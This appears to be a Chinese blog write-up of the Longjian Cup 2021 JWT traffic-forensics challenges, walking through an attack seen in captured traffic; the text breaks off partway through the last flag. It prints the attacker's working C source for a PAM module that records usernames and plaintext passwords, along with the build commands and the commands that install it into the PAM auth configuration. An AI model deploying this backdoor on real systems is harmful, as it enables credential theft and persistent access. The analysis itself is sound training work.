{"id":598,"date":"2026-01-24T19:07:07","date_gmt":"2026-01-24T11:07:07","guid":{"rendered":"http:\/\/shr1mp.top\/?p=598"},"modified":"2026-04-19T10:42:33","modified_gmt":"2026-04-19T02:42:33","slug":"%e9%99%87%e5%89%91%e6%9d%af-2021%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90wp%e6%9d%a5%e8%87%aanssctf%e5%b9%b3%e5%8f%b0","status":"publish","type":"post","link":"http:\/\/shr1mp.top\/index.php\/2026\/01\/24\/%e9%99%87%e5%89%91%e6%9d%af-2021%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90wp%e6%9d%a5%e8%87%aanssctf%e5%b9%b3%e5%8f%b0\/","title":{"rendered":"[\u9647\u5251\u676f 2021]jwt"},"content":{"rendered":"\n<pre class=\"wp-block-code\"><code>JWT\u8ba4\u8bc1\uff1a\n\u7b7e\u540d\u751f\u6210\u8fc7\u7a0b\n1. \u7f16\u7801 \uff1a\u5bf9 Header \u548c Payload \u8fdb\u884c Base64URL \u7f16\u7801\n2. \u62fc\u63a5 \uff1a\u5c06\u7f16\u7801\u540e\u7684 Header \u548c Payload \u7528 . \u8fde\u63a5\n3. \u7b7e\u540d \uff1a\u4f7f\u7528\u5bc6\u94a5\u548c\u6307\u5b9a\u7b97\u6cd5\u5bf9\u62fc\u63a5\u7ed3\u679c\u8fdb\u884c\u7b7e\u540d\n4. \u7ec4\u5408 \uff1a\u5c06\u7b7e\u540d\u8fdb\u884c Base64URL \u7f16\u7801\uff0c\u4e0e\u524d\u4e24\u90e8\u5206\u7528 . \u8fde\u63a5\n\u9a8c\u8bc1\u8fc7\u7a0b\n1. \u89e3\u6790 \uff1a\u5c06 JWT \u5206\u89e3\u4e3a Header\u3001Payload \u548c Signature\n2. \u91cd\u7b7e\u540d \uff1a\u4f7f\u7528\u76f8\u540c\u7684\u5bc6\u94a5\u548c\u7b97\u6cd5\u5bf9 Header \u548c Payload \u91cd\u65b0\u751f\u6210\u7b7e\u540d\n3. \u6bd4\u5bf9 \uff1a\u5c06\u91cd\u65b0\u751f\u6210\u7684\u7b7e\u540d\u4e0e\u539f\u7b7e\u540d\u6bd4\u5bf9\n4. \u9a8c\u8bc1 \uff1a\u5982\u679c\u7b7e\u540d\u5339\u914d\uff0c\u5219\u4ee4\u724c\u6709\u6548\uff1b\u5426\u5219\u65e0\u6548<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt1\">[\u9647\u5251\u676f 2021]jwt1<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u8be5\u7f51\u7ad9\u4f7f\u7528\u4e86<strong>__<\/strong>\u8ba4\u8bc1\u65b9\u5f0f\u3002\uff08\u5982\u6709\u5b57\u6bcd\u8bf7\u5168\u90e8\u4f7f\u7528\u5c0f\u5199\uff09\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-4264e732565197074beac35b54a0d9bf\">\u77e5\u8bc6\u70b9\uff08\u7f51\u7ad9\u8ba4\u8bc1\u65b9\u5f0f\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"282\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252412-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185952-1024x282.png\" alt=\"\" class=\"wp-image-601\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252412-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185952-1024x282.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252412-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185952-300x82.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252412-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185952-768x211.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252412-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185952.png 1451w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u5176\u4e2d<strong>\uff1a<\/strong><\/p>\n\n\n\n<p><strong>Token\uff08\u4ee4\u724c\uff09<\/strong>\u662f\u8eab\u4efd\u8ba4\u8bc1\u548c\u6388\u6743\u673a\u5236\u4e2d\u7684\u4e00\u79cd\u51ed\u8bc1\uff0c\u672c\u8d28\u662f\u4e00\u4e32\u7ecf\u8fc7\u52a0\u5bc6\u6216\u7b7e\u540d\u7684\u5b57\u7b26\u4e32\uff0c\u7528\u4e8e\u8bc1\u660e\u7528\u6237\u8eab\u4efd\u3001\u6743\u9650\u6216\u8bbf\u95ee\u6743\u5229\u3002<\/p>\n\n\n\n<p>\u7528\u4ee5\u4e0b\u4ee3\u7801\u7b5b\u9009\u767b\u9646\u7684http\u7684\u6d41\u91cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http contains \"login\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"333\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805-1024x333.png\" alt=\"\" class=\"wp-image-600\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805-1024x333.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805-300x98.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805-768x250.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805-1536x500.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252290-\u5c4f\u5e55\u622a\u56fe-2026-01-24-185805.png 2014w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u968f\u4fbf\u6253\u5f00\u4e00\u4e2a\u6d41\u91cf\u5305\uff0c\u8ddf\u8e2a\u6d41\uff0c\u901a\u8fc7token\u6765\u770b\u770b\u8ba4\u8bc1\u65b9\u5f0f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"201\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358-1024x201.png\" alt=\"\" class=\"wp-image-602\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358-1024x201.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358-300x59.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358-768x151.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358-1536x302.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769252667-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190358.png 1808w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u4e86token\uff0c\u53d1\u73b0\u5b83\u7684\u683c\u5f0f\u662fxxx.xxx.xxx,\u53ef\u4ee5\u63a8\u65ad\u8fd9\u662fjwt\u8ba4\u8bc1\u683c\u5f0f<\/p>\n\n\n\n<p>\u6240\u4ee5flag\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{jwt}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt-1\">[\u9647\u5251\u676f 2021]jwt2<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u9ed1\u5ba2\u7ed5\u8fc7\u9a8c\u8bc1\u4f7f\u7528\u7684jwt\u4e2d\uff0cid\u548cusername\u662f<strong>__<\/strong>\u3002\uff08\u4e2d\u95f4\u4f7f\u7528#\u53f7\u9694\u5f00\uff0c\u4f8b\u59821#admin\uff09\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u8fd9\u91cc\u6700\u5f00\u59cb\u770bpost\u8bf7\u6c42\u627e\u5230\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"146\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827-1024x146.png\" alt=\"\" class=\"wp-image-604\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827-1024x146.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827-300x43.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827-768x109.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827-1536x218.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253141-\u5c4f\u5e55\u622a\u56fe-2026-01-24-190827.png 1822w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u4f46\u662f\u6ca1\u6709id\uff0c\u53ea\u6709username<\/p>\n\n\n\n<p>\u540e\u9762\u4e86\u89e3\u5230jwt\u7684token\u7ec4\u6210\u683c\u5f0f\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>header.payload.signature<\/code><\/pre>\n\n\n\n<p>\u7528cyberchef\u89e3\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"504\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-1024x504.png\" alt=\"\" class=\"wp-image-606\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-1024x504.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-300x148.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-768x378.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-1536x756.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769253342-\u5c4f\u5e55\u622a\u56fe-2026-01-24-191520-2048x1007.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u5f97\u5230id\uff1a10086\uff0c\u4f46\u662f\u8fd9\u91cc\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u6d411\u30012\u53ea\u662f\u7528\u8fd9\u4e2atoken\u8fdb\u884c\u767b\u5f55\u524d\u7aef\uff0c\u4ece\u6d413\u6765\u770b\uff0c\u653b\u51fb\u8005\u8fdb\u884cwhoami\u7684\u547d\u4ee4\uff0c\u8fd9\u4e2atoken\u7684id\u6ca1\u6709\u6743\u9650<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"862\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504-1024x862.png\" alt=\"\" class=\"wp-image-612\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504-1024x862.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504-300x253.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504-768x647.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504-1536x1293.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258131-\u5c4f\u5e55\u622a\u56fe-2026-01-24-203504.png 1709w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u6d414\u9000\u56de\u524d\u7aef\uff0c\u6d415\u62a5\u9519\uff0c\u6d416\u52309\u7528get\u627epng\u6587\u4ef6\uff0c\u6d4110\u4e4b\u540e\u518d\u6b21\u51fa\u73b0post\u8bf7\u6c42\uff08\u4e0b\u56fe\u4e3a\u6d4111\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"590\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222-1024x590.png\" alt=\"\" class=\"wp-image-613\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222-1024x590.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222-300x173.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222-768x443.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222-1536x885.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769258549-\u5c4f\u5e55\u622a\u56fe-2026-01-24-204222.png 1688w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2a\u6267\u884cwhoami\u5c31\u6ca1\u6709\u62a5\u9519\u6ca1\u6743\u9650\uff0c\u6545\u901a\u8fc7\u8fd9\u4e2atoken\u5b9e\u73b0\u7ed5\u8fc7\u9a8c\u8bc1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0<\/code><\/pre>\n\n\n\n<p>\u8fdb\u884c\u89e3\u7801\uff0c\u5f97\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n    \"id\": 10087,\n    \"MapClaims\": {\n        \"username\": \"admin\"\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5flag\u4e3a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NSSCTF{10087#admin}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt-2\">[\u9647\u5251\u676f 2021]jwt3<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u9ed1\u5ba2\u83b7\u53d6webshell\u4e4b\u540e\uff0c\u6743\u9650\u662f<strong>__<\/strong>\uff1f\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u4ece\u7b2c\u4e00\u4ece\u752810087id\u7684token\u9a8c\u8bc1\u901a\u8fc7\u540e\uff0c\u7cfb\u7edf\u53d1\u9001\u4e86root<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"885\" src=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812-1024x885.png\" alt=\"\" class=\"wp-image-618\" srcset=\"http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812-1024x885.png 1024w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812-300x259.png 300w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812-768x663.png 768w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812-1536x1327.png 1536w, http:\/\/shr1mp.top\/wp-content\/uploads\/2026\/01\/1769259537-\u5c4f\u5e55\u622a\u56fe-2026-01-24-205812.png 1697w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u6545\u6743\u9650\u662froot\u6743\u9650<\/p>\n\n\n\n<p>flag\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NSSCTF{root}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt-3\">[\u9647\u5251\u676f 2021]jwt4<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u9ed1\u5ba2\u4e0a\u4f20\u7684\u6076\u610f\u6587\u4ef6\u6587\u4ef6\u540d\u662f<strong><em><strong><em>_<\/em><\/strong><\/em><\/strong>\u3002(\u8bf7\u63d0\u4ea4\u5e26\u6709\u6587\u4ef6\u540e\u7f00\u7684\u6587\u4ef6\u540d\uff0c\u4f8b\u5982x.txt)\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u4e0b\u9762\u662f\u6d41\u91cc\u9762\u7684post\u8bf7\u6c42\u5185\u5bb9\u548c\u6211\u7684\u5206\u6790<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\u6d4112\u8fdb\u884cBase64\u89e3\u7801\uff08\u4e0b\u540c\uff09\uff1a\n#include <security pam_appl.h=\"\">\n#include <security pam_modules.h=\"\">\n#include <unistd.h>\nsize_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)\n{\nreturn size * nmemb;\n}\nvoid saveMessage(char (*message)&#91;]) {\nFILE *fp = NULL;\nfp = fopen(\"\/tmp\/.looter\", \"a+\");\nfputs(*message, fp);\nfclose(fp);\n}\nPAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {\nreturn PAM_SUCCESS;\n}\nPAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {\nreturn PAM_SUCCESS;\n}\nPAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {\nint retval;\nconst char* username;\nconst char* password;\nchar message&#91;1024];\nretval = pam_get_user(pamh, &amp;username, \"Username: \");\npam_get_item(pamh, PAM_AUTHTOK, (void *) &amp;password);\nif (retval != PAM_SUCCESS) {\nreturn retval;\n}\nsnprintf(message,2048,\"Username %s\\nPassword: %s\\n\",username,password);\nsaveMessage(&amp;message);\nreturn PAM_SUCCESS;\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\u6d4113\uff1a\n#include <security pam_appl.h=\"\">\n#include <security pam_modules.h=\"\">\n#include <unistd.h>\nsize_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)\n{\nreturn size * nmemb;\n}\nvoid saveMessage(char (*message)&#91;]) {\nFILE *fp = NULL;\nfp = fopen(\"\/tmp\/.looter\", \"a+\");\nfputs(*message, fp);\nfclose(fp);\n}\nPAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {\nreturn PAM_SUCCESS;\n}\nPAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {\nreturn PAM_SUCCESS;\n}\nPAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {\nint retval;\nconst char* username;\nconst char* password;\nchar message&#91;1024];\nretval = pam_get_user(pamh, &amp;username, \"Username: \");\npam_get_item(pamh, PAM_AUTHTOK, (void *) &amp;password);\nif (retval != PAM_SUCCESS) {\nreturn retval;\n}\nsnprintf(message,2048,\"Username %s\\nPassword: %s\\n\",username,password);\nsaveMessage(&amp;message);\nreturn PAM_SUCCESS;\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\u6d4114\uff08\u65e0Base64\u7f16\u7801,\u4e0b\u540c\uff09\uff1als \/tmp<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\u6d4115\uff1acat \/tmp\/1.c<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\u6d4116\uff08\u4e00\u6bb5\u52a0\u5bc6\u4e86\uff0c\u540e\u9762\u6587\u4ef6\u6ca1\u52a0\u5bc6\uff0c\u8fd9\u91cc\u8fde\u63a5\u4e86lcurl\u52a8\u6001\u5e93\uff09\uff1a\n\n\nCFLAGS += -Werror -Wall\nlooter.so: looter.c\n\tgcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $&lt; -lcurl |base64 -d &gt; \/tmp\/Makefile<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>\n\u6d4117\uff1als \/tmp\n\u6d4118\uff1acd \/tmp;make\n\u6d4119\uff1amv \/tmp\/1.c \/tmp\/looter.c\n\u6d4120\uff1acd \/tmp;make\n\u6d4121\uff1als \/tmp<\/unistd.h><\/security><\/security><\/unistd.h><\/security><\/security><\/code><\/pre>\n\n\n\n<p>\u4ece\u6d4115\u53ef\u4ee5\u770b\u51fa\u52a0\u5165\u4e86\u4e2a1.c\u7684\u6587\u4ef6<\/p>\n\n\n\n<p>\u6240\u4ee5flag\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NSSCTF{1.c}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt5\">[\u9647\u5251\u676f 2021]jwt5<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u9ed1\u5ba2\u5728\u670d\u52a1\u5668\u4e0a\u7f16\u8bd1\u7684\u6076\u610fso\u6587\u4ef6\uff0c\u6587\u4ef6\u540d\u662f<strong><em><strong><em>_<\/em><\/strong><\/em><\/strong>\u3002(\u8bf7\u63d0\u4ea4\u5e26\u6709\u6587\u4ef6\u540e\u7f00\u7684\u6587\u4ef6\u540d\uff0c\u4f8b\u5982x.so)\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u7ee7\u7eed\u8ddf\u8e2a\u6d41\uff1a\u6587\u4ef6 <code>\/tmp\/looter.so<\/code>\u590d\u5236\u5230 <code>\/lib\/x86_64-linux-gnu\/security\/<\/code>\u76ee\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6d4122\uff1acp \/tmp\/looter.so \/lib\/x86_64-linux-gnu\/security\/<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5flag\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NSSCTF{looter.so}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u9647\u5251\u676f-2021-jwt6\">[\u9647\u5251\u676f 2021]jwt6<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a<br>\u9ed1\u5ba2\u5728\u670d\u52a1\u5668\u4e0a\u4fee\u6539\u4e86\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\uff0c\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u4e3a<strong><em><strong><em>_<\/em><\/strong><\/em><\/strong>\u3002\uff08\u8bf7\u786e\u8ba4\u7edd\u5bf9\u8def\u5f84\u540e\u518d\u63d0\u4ea4\uff09\u3002\u5f97\u5230\u7684flag\u8bf7\u4f7f\u7528NSSCTF{}\u683c\u5f0f\u63d0\u4ea4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u6cd5\u4e00\uff1a\u901a\u8fc7\u4e4b\u524d\u9898\u76ee\u7684\u5206\u6790\uff0c\u53d1\u73b0\u8be5\u7cfb\u7edf\u4e3alinux\u7cfb\u7edf\uff0c\/etc\u4e3alinux\u4e2d\u9ed8\u8ba4\u7684\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u5b58\u653e\u76ee\u5f55\u3002\u53ef\u901a\u8fc7\u67e5\u770bhttp\u534f\u8bae\u4e2d\u5305\u542b\/etc\u7684\u6d41\u91cf\u5305\uff0c\u4e5f\u53ef\u4ee5\u6839\u636e\u4e0a\u4e00\u9898\u4e2d\u7684\u5206\u6790\uff0c\u81ea\u7136\u5411\u540e\u67e5\u770b\u5206\u6790\u6570\u636e\u5305\uff0c\u4e5f\u53ef\u53d1\u73b0\u9ed1\u5ba2\u4fee\u8be5\u7684\u914d\u7f6e\u6587\u4ef6\u53ca\u7edd\u5bf9\u8def\u5f84<\/p>\n\n\n\n<p>\u6cd5\u4e8c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6d4123\uff1als \/lib\/x86_64-linux-gnu\/security\/                 \u67e5\u770b\u6a21\u5757\u662f\u5426\u6210\u529f\u90e8\u7f72\n\u6d4124\uff1aecho \"auth optional looter.so\"                 \n\u6d4125\uff1aecho \"\\nauth optional looter.so\"\n\u6d4126\uff1aecho \"auth optional looter.so\"&gt;&gt;\/etc\/pam.d\/common-auth \u4fee\u6539PAM\u8ba4\u8bc1\u914d\u7f6e<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u7edd\u5bf9\u8def\u5f84\u662f\/etc\/pam.d\/common-auth<\/p>\n\n\n\n<p>flag\uff1a<\/p>\n\n\n\n<pre 